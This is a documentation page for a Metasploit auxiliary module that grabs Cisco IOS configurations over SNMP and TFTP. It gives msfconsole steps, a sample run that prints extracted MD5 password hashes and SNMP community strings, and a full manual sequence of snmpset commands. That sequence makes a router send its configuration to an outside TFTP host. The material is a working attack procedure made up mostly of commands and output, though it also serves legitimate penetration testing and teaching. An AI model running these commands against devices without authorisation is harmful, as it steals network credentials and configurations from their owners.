Cisco IOS SNMP Configuration Grabber (TFTP) - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/snmp/cisco_config_tftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco IOS SNMP Configuration Grabber (TFTP)
Module: auxiliary/scanner/snmp/cisco_config_tftp
Source code: modules/auxiliary/scanner/snmp/cisco_config_tftp.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: -

This module will download the startup or running configuration from a Cisco IOS device using SNMP and TFTP. A read-write SNMP community is required. The SNMP community scanner module can assist in identifying a read-write community. The target must be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/snmp/cisco_config_tftp
msf auxiliary(cisco_config_tftp) > show options
    ... show and set options ...
msf auxiliary(cisco_config_tftp) > set RHOSTS ip-range
msf auxiliary(cisco_config_tftp) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_config_tftp) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cisco_config_tftp) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_config_tftp) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Cisco IOS devices can be configured to back-up their running and startup configurations via SNMP. This is a well documented feature of IOS and many other networking devices, and is part of an administrator functionality. A read-write community string is required, as well as a tftp server (metasploit includes one). After the config has been copied, the SNMP paramters are deleted.

Verification Steps


  1. Enable SNMP with a read/write community string on IOS: snmp-server community private rw
  2. Start msfconsole
  3. Do: use auxiliary/scanner/snmp/cisco_config_tftp
  4. Do: set COMMUNITY [read-write snmp]
  5. Do: set rhosts [ip]
  6. Do: run

Options


COMMUNITY

The SNMP community string to use which must be read-write. Default is public.

Scenarios


Cisco UC520-8U-4FXO-K9 running IOS 12.4

msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_config_tftp
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_config_tftp) > run

[*] Starting TFTP server...
[*] Scanning for vulnerable targets...
[*] Trying to acquire configuration from 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Incoming file from 2.2.2.2 - 2.2.2.2.txt 22831 bytes
[+] 2.2.2.2:161 MD5 Encrypted Enable Password: $1$TF.y$3E7pZ2szVvQw5JG8SDjNa1
[+] 2.2.2.2:161 Username 'cisco' with MD5 Encrypted Password: $1$DaqN$iP32E5WcOOui/H66R63QB0
[+] 2.2.2.2:161 SNMP Community (RO): public
[+] 2.2.2.2:161 SNMP Community (RW): private
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed

Manual Interaction

This process can also be executed manually utilizing Metasploit's TFTP server. Cisco's documentation was utilized to create this process.

  1. Start the TFTP server
msf5 > use auxiliary/server/tftp 
msf5 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/tftp) > 
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp
  1. Execute the SNMP commands. An integer is required to group the requests together, 666 is used in this example.
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.2.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.666 i 4 

iso.3.6.1.4.1.9.9.96.1.1.1.1.3.666 = INTEGER: 4
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.4.666 = INTEGER: 1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.666 a "1.1.1.1" 

iso.3.6.1.4.1.9.9.96.1.1.1.1.5.666 = IpAddress: 1.1.1.1
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.666 s "backup_config" 

iso.3.6.1.4.1.9.9.96.1.1.1.1.6.666 = STRING: "backup_config"
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 1 

iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 1
  1. At this point the config is transferring, we need to wait a few seconds. Lastly, we'll remove 666 from the system.
msf5 auxiliary(server/tftp) > snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6
[*] exec: snmpset -v 1 -c private 2.2.2.2 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.666 i 6

iso.3.6.1.4.1.9.9.96.1.1.1.1.14.666 = INTEGER: 6
  1. Confirm we have our config file
msf5 auxiliary(server/tftp) > ls -lah /tmp/backup_config
[*] exec: ls -lah /tmp/backup_config

-rw-r--r-- 1 root root 23K Oct 11 22:20 /tmp/backup_config

Confirming using NMAP


Utilizing the snmp-ios-config script

nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=:private 192.168.2.239
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-11 22:30 EDT
Nmap scan report for 192.168.2.239
Host is up (0.0034s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-ios-config: 
| !
| ! Last configuration change at 18:01:46 PST Fri Jan 7 2000 by cisco
| ! NVRAM config last updated at 06:07:55 PST Tue Jan 4 2000 by cisco
| !
| version 12.4
| parser config cache interface
| no service pad
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no service password-encryption
| service internal
| service compress-config
| service sequence-numbers
| !
| hostname UC520
...sip...

Go back to menu.

Msfconsole Usage


Here is how the scanner/snmp/cisco_config_tftp auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/snmp/cisco_config_tftp

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show info

       Name: Cisco IOS SNMP Configuration Grabber (TFTP)
     Module: auxiliary/scanner/snmp/cisco_config_tftp
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  pello <[email protected]>
  hdm <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  LHOST                       no        The IP address of the system running this module
  OUTPUTDIR                   no        The directory where we should save the configuration files (disabled by default)
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      161              yes       The target port (UDP)
  SOURCE     4                yes       Grab the startup (3) or running (4) configuration (Accepted: 3, 4)
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    1                yes       SNMP Version <1/2c>

Description:
  This module will download the startup or running configuration from 
  a Cisco IOS device using SNMP and TFTP. A read-write SNMP community 
  is required. The SNMP community scanner module can assist in 
  identifying a read-write community. The target must be able to 
  connect back to the Metasploit system and the use of NAT will cause 
  the TFTP transfer to fail.

Module Options


This is a complete list of options available in the scanner/snmp/cisco_config_tftp auxiliary module:

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show options

Module options (auxiliary/scanner/snmp/cisco_config_tftp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   LHOST                       no        The IP address of the system running this module
   OUTPUTDIR                   no        The directory where we should save the configuration files (disabled by default)
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      161              yes       The target port (UDP)
   SOURCE     4                yes       Grab the startup (3) or running (4) configuration (Accepted: 3, 4)
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

Advanced Options


Here is a complete list of advanced options supported by the scanner/snmp/cisco_config_tftp auxiliary module:

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show advanced

Module advanced options (auxiliary/scanner/snmp/cisco_config_tftp):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/snmp/cisco_config_tftp module can do:

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/snmp/cisco_config_tftp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP> Error: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "<IP> Error: <E.CLASS> <E> <E.BACKTRACE>" error message:

145:	    # No need to make noise about timeouts
146:	    rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
147:	    rescue ::Interrupt
148:	      raise $!
149:	    rescue ::Exception => e
150:	      print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
151:	    ensure
152:	      disconnect_snmp
153:	    end
154:	  end
155:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • pello <fropert[at]packetfault.org>
  • hdm

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.